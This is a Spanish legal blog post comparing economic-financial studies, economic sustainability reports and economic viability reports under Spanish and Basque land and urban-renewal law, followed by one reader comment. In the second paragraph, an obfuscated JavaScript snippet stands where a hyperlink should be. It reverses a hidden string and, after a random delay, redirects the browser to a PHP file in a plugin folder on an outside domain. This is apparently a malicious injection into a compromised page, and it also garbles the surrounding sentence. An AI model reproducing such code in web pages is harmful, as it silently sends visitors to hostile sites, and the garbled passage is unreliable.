Entre memorias, informes y estudios de sostenibilidad y viabilidad económica o económico-financiera anda el lío

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La cuestión que planteamos es si las referencias al estudio económico-financiero (LvSU, y legislación supletoria), así como al informe o memoria de sostenibilidad económica (LS07, TRLS08) y la memoria o informe de sostenibilidad económica (art. 10 L3R) rebautizada, en el mismo cuerpo legal, como memoria de viabilidad económica (art. 11 L3R) son intercambiables conceptualmente o por el contrario responden a racionalidades y cometidos distintos. Cuestión que se plantea con la llegada de la Ley 8/2013, de rehabilitación, regeneración y renovación urbana.

La Ley 2/2006, de 30 de junio, de suelo y urbanismo (tos de planeamiento el denominado estudio de viabilidad económico-financiera (planeamiento general, $NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tos/2006/07/0603776a.pdf#page=60″ target=”_blank”>art. 68 LvSU). Sin embargo, la LvSU se limita a enumerar el contenido documental mínimo de los instrumentos de planeamiento, sin detenerse en llenarlo, aunque sea también a nivel mínimo, de sustantividad propia.

No existe mención, salvedad hecha a la mera enunciación como documentación, adicional en la legislación urbanística vasca lo que, irremediablemente, en ausencia de desarrollo reglamentario propio, nos obliga a acudir a la normativa urbanística supletoria (TRLS76 y el RP).

El TRLS76 recoge en el artículo 12.3 que entre la documentación que debe formalizar el Plan General, se encuentra el estudio económico y financiero, cuyo cometido legal es: 1) La evaluación económica de la ejecución de las obras de urbanización e implantación de los servicios correspondientes a la estructura general y orgánica del territorio en el suelo urbanizable programado y urbano; y b) la determinación del carácter público o privado de las inversiones a realizar para la ejecución del Plan General, con especificación de las obras y servicios que se atribuyen al sector público (indicando los Organismos o Entidades públicas que asumen el importe de la inversión) y privado (art. 42 RP).

Para los Planes Parciales el artículo 13.2.g TRLS76 regula  una de las determinaciones la evaluación económica de la implantación de los servicios y de la ejecución de las obras de urbanización. Entre el contenido documental el artículo 57 RP recoge como obligatorio el estudio económico-financiero o evaluación del coste económico de las obras programadas, con indicación de la forma de su financiación: pública o privada (art. 63 RP). Si el plan parcial era de iniciativa particular debía completarse con el contenido documental del art. 64 RP que debía recoger a su vez las determinaciones del artículo 46 RP. Por su parte, para los Planes Especiales, en desarrollo del art. 17.3 TRLS76, el artículo 77.2 RP recogía entre su contenido documental el estudio económico-financiero.

En resumen, el estudio económico-financiero tiene en esta legislación como cometido primordial cuantificar el montante de las obras de urbanización e implantación de servicios y determinar quién debe hacer frente a ellas.

Por su parte, la Ley 8/2007, de 28 de mayo, de Suelo —posterior en el tiempo a la LvSU—recogía en su versión originaría (LS07) que entre la documentación de los instrumentos de ordenación de las actuaciones de urbanización (que conceptualmente englobaba las de nueva urbanización y de reforma y renovación, art. 14.1 LS07) se debía incluir un informe o memoria de sostenibilidad económica (art. 15.4 LS07) cuya finalidad era ponderar “(…) en particular el impacto de la actuación en las Haciendas Públicas afectadas por la implantación y el mantenimiento de las infraestructuras necesarias o la puesta en marcha y la prestación de los servicios resultantes, así como la suficiencia y adecuación del suelo destinado a usos productivos”. Contenido que pasó invariable al TRLS08, hasta que Ley 8/2013, de 26 de junio, de rehabilitación, renovación y regeneración urbana (L3R) le dio una nueva redacción ampliando la obligación a los instrumentos de ordenación de nueva urbanización, de reforma o renovación de la urbanización y de las actuaciones de dotación (art. 15.4 TRLS08) sin variar su cometido que sigue siendo el mismo originalmente marcado por el legislador de 2007.

Esto no acaba aquí, y el mismo Legislador del 2013 que alumbra la L3R, y modificó el TRLS08, recoge otra obligación documental del siguiente tenor, circunscrita a las actuaciones de rehabilitación edificatoria y las de regeneración y renovación urbanas que impliquen la necesidad de alterar la ordenación urbanística vigente (art. 10.1, párrafo 1º), consistente en incorporar el denominado “informe o memoria de sostenibilidad económica” cuyo contenido se regula el artículo 11. Obligación que, en principio, no se recoge para los supuestos en que las actuaciones que no requieran la alteración de la ordenación urbanística vigente (art. 10.1, párrafo 2º). El artículo 11, por su parte, en primer lugar rebautiza  el documento como “memoria de viabilidad económica”, y por otro lado amplía su ámbito objetivo: a) a todas las actuaciones de ordenación que recoge el artículo 10, sin distinción (art. 11.1) y b) a todas las actuaciones de ejecución mencionadas en el precepto precedente. Este documento tiene como cometido fundamental asegurar la “(…) viabilidad económica, en términos de rentabilidad, de adecuación a los límites del deber legal de conservación y de un adecuado equilibrio entre los beneficios y las cargas derivados de la misma, para los propietarios incluidos en su ámbito de actuación (…)”, debiendo abordar los siguientes aspectos de la actuación:

a) Un estudio comparado de los parámetros urbanísticos existentes y, en su caso, de los propuestos, con identificación de las determinaciones urbanísticas básicas, para lograr un mayor acercamiento al equilibrio económico, a la rentabilidad de la operación y a la no superación de los límites del deber legal de conservación.

b) Las determinaciones económicas básicas (valores de repercusión de cada uso urbanístico propuesto, estimación del importe de la inversión, ayudas públicas, indemnizaciones, identificación del sujeto  responsable del deber de costear las redes públicas).

c) El análisis de la inversión que pueda atraer la actuación y la justificación de que la misma es capaz de generar ingresos suficientes para financiar la mayor parte del coste de la transformación física propuesta, garantizando el menor impacto posible en el patrimonio personal de los particulares, medido en cualquier caso, dentro de los límites del deber legal de conservación.

d) Calendario de inversiones y financiación. Para ello deberá recoger el horizonte temporal que, en su caso, sea preciso para garantizar la amortización de las inversiones y la financiación de la operación.

e) La evaluación de la capacidad pública necesaria para asegurar la financiación y el mantenimiento de las redes públicas que deban ser financiadas por la Administración, así como su impacto en las correspondientes Haciendas Públicas.

Hasta aquí, podemos concluir que aunque a primera vista pudiera parecernos que el informe o memoria de sostenibilidad económica (art. 15.4 LS07 y TRLS08) y los estudios económico-financieros recogidos en la LvSU (y legislación supletoria), en gran parte coincidentes, lo cierto es que son documentos diversos:  El primero obliga a recoger en la documentación del instrumento de ordenación el impacto económico que produce, en las Haciendas públicas afectadas, la implantación y el mantenimiento de las infraestructuras y servicios previstos (también, ver si el suelo que debe acoger usos productivos es adecuado para ello). Por el contrario, el estudio económico-financiero tiene como finalidad identificar si existen recursos suficientes para hacer frente a la realización de la ordenación prevista, identificando qué sujeto (público o privado) está obligado a llevarla a cabo (es decir, a financiarla).

Sin embargo, la L3R ha introducido una contradicción conceptual en la medida en que recogiendo el mismo nombre de la LS07 (TRLS) informe o memoria de sostenibilidad económica  (art. 10.1), remite para concretar su contenido al artículo 11 que lo denomina como “memoria de viabilidad económica”, el cual marca que el objetivo de este documento es asegurar la “(…) viabilidad económica, en términos de rentabilidad, de adecuación a los límites del deber legal de conservación y de un adecuado equilibrio entre los beneficios y las cargas derivados de la misma, para los propietarios incluidos en su ámbito de actuación (…)”. Luego, el cometido de la memoria de viabilidad económica (art. 11 L3R, que confusamente denomina el art. 10 como informe o memoria de sostenibilidad económica), es garantizar la rentabilidad económica de la actuación.

En conclusión, los términos nos son intercambiables en la medida en que cada uno viene a cubrir necesidades diferentes. Resumidamente:

  1. La memoria o informe de sostenibilidad económica de la legislación básica del suelo (TRLS): Documento que pone el acento en el impacto de la implantación y el mantenimiento de las infraestructuras necesarias o la puesta en marcha y la prestación de los servicios resultantes, así como la suficiencia y adecuación del suelo destinado a usos productivos.
  2.  Estudio económico-financiero de la legislación urbanística: Documento que evalúa cuánto cuesta la materialización de la ordenación prevista y quién la debe pagar.
  3. La memoria de viabilidad económica: lo que busca es definir si una determinada ordenación (o ejecución) de una actuación en suelo urbano (de rehabilitación, regeneración y renovación urbana) es rentable económicamente (y debe serlo por lo que se desprende del propio art. 11 L3R). Impropiamente la L3R denomina a este documento estudio o memoria de sostenibilidad económica empleando la misma terminología que el artículo 15.4 TRLS, lo que acentúa la confusión sobre todo cuando el artículo 11 L3R recoge el contenido de este documento que difiere de aquel y lo rebautiza como memoria de viabilidad económica.

Un pensamiento en “Entre memorias, informes y estudios de sostenibilidad y viabilidad económica o económico-financiera anda el lío

  1. Natxo Tejerina

    Muy interesante, Rosbe.

    Respecto al Estudio de Viabilidad Económica, la previsión del TRLS76 se correspondía con la obligación de que las actuaciones fueran viables, al haber desaparecido este requisito (Viabilidad económica de las operaciones de transformación de suelo) carece de objeto tal estudio, por lo que el art. 62.1.f LvSU también copió mal en este pasaje. No obstante y como propones, hay que ser prudente (la STSJPV de 04/02/2013 confirma la obligación de incluirlo).

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